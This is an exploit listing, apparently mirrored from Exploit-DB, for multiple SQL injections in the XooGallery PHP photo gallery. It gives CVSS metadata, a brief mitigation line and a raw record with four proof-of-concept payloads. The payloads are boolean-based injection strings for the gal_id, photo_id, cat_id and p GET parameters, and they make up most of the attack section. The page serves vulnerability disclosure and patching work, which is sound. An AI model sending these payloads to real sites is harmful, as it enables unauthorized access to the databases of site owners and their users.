header-logo
Suggest Exploit
vendor:
XooGallery
by:
Ahmet Ümit BAYRAM
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: XooGallery
Affected Version From: Latest
Affected Version To: Latest
Patch Exists: NO
Related CWE: N/A
CPE: a:xooscripts:xoogallery
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Kali Linux
2019

XooGallery – Multiple SQL Injections

XooGallery is vulnerable to multiple SQL Injections. The vulnerable parameters are gal_id, photo_id, cat_id and p. An attacker can exploit these vulnerabilities by sending malicious payloads in the vulnerable parameters. For example, in PoC 1, the payload is gal_id=29' AND 2692=2692 AND 'WCFf'='WCFf

Mitigation:

Input validation should be done to prevent SQL Injection attacks. Sanitizing user input and using prepared statements can also help in mitigating the attack.
Source

Exploit-DB raw data:

# Exploit Title: XooGallery - Multiple SQL Injections
# Date: 26.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://xooscripts.com/product/html5-php-photo-gallery.html
# Demo Site: http://xooscripts.com/demos/xoogallery/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/gal.php?gal_id=1
Vulnerable Parameter: gal_id (GET)
Payload: gal_id=29' AND 2692=2692 AND 'WCFf'='WCFf

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/photo.php?photo_id=1
Vulnerable Parameter: photo_id (GET)
Payload: photo_id=1' AND 5479=5479#

----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/cat.php?cat_id=1
Vulnerable Parameter: cat_id (GET)
Payload: cat_id=1' AND 9338=9338 AND 'SZIH'='SZIH


----- PoC 4: SQLi -----

Request: http://localhost/[PATH]/results.php?p=1
Vulnerable Parameter: p (GET)
Payload: p=-8412' OR 2597=2597#